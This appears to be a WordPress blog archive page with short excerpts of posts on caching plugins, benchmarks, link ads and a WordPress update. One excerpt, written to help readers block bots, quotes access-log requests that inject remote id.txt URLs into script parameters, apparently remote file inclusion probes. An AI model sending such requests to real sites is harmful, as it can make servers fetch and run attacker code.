Now, that’s why you can’t believe benchmarks. Sure, this server was able to serve 100,000 page views in 282 seconds but: Requests were made from a VPS in the same datacenter. No need to worry about slow clients, or maintaining network connections to many remote clients. I used Litespeed Web […]
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WordPress Super Cache 0.1
It’s time to lift the veil of secrecy on my latest project. With help from friends who diligently tested and reported bugs on this I can now present version 0.1 of WP Super Cache! It is an extensive modification of the famous WP-Cache 2 plugin by Ricardo Galli Granada. This […]
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Donncha's Friday Links
Anyone who knows me knows I’m an avid photographer. Thomas Hawk was in a train station in San Francisco when a body was discovered on the tracks. He snaps literally *everything* and took a photo of the poor guy who died, but then he questioned if he should publish the […]
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Life after Text Link Ads
Hi, my name is Donncha and I used to have text-link-ads on my blog. They’re gone now but only after Google slapped me into submission and reduced my page rank to 4. Initially I felt angry and shocked that this happened but I have no excuse, I heard it from […]
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Howto: WP-Cache and protected posts
If you use protected posts on your WordPress blog you may have noticed that WP-Cache doesn’t cache those password protected posts properly. I didn’t know this, but James Farmer did so I went looking and found a fix. In the plugins/wp-cache/ directory, open wp-cache-phase1.php in your favourite text editor and […]
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Keep the libwww-perl bots out
If you look through your server logs you’ll probably notice more than a few requests like these: GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805” GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805” GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805” GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579” If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. […]
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The new WordPress UTW gotcha
(Later – Scroll to the end of this post for a small patch to fix the problem with disappearing tags!) As seen elsewhere and of course on the official blog, WordPress 2.1 was released to much fanfare yesterday. It works great, I’ve been using the development version on my blogs […]
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WP-Cache 2.0.20 released
I wouldn’t normally mention a minor release of a plugin but the new version of WP Cache 2 incorporates (among other fixes) my patch that stops the cache being deleted when a spam comment is made. If you run a busy site, then it’s definitely worth downloading and upgrading!
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Caching WordPress with WP-Cache in a spam filled world
WP-Cache and spam. Who’d have thought they were related? Unfortunately they are because when your blog is spammed WP-Cache doesn’t check if the comment is legitimate or not and deletes cached files related to the spammed post. I noticed this happened a lot on In Photos.org after I added thumbnails […]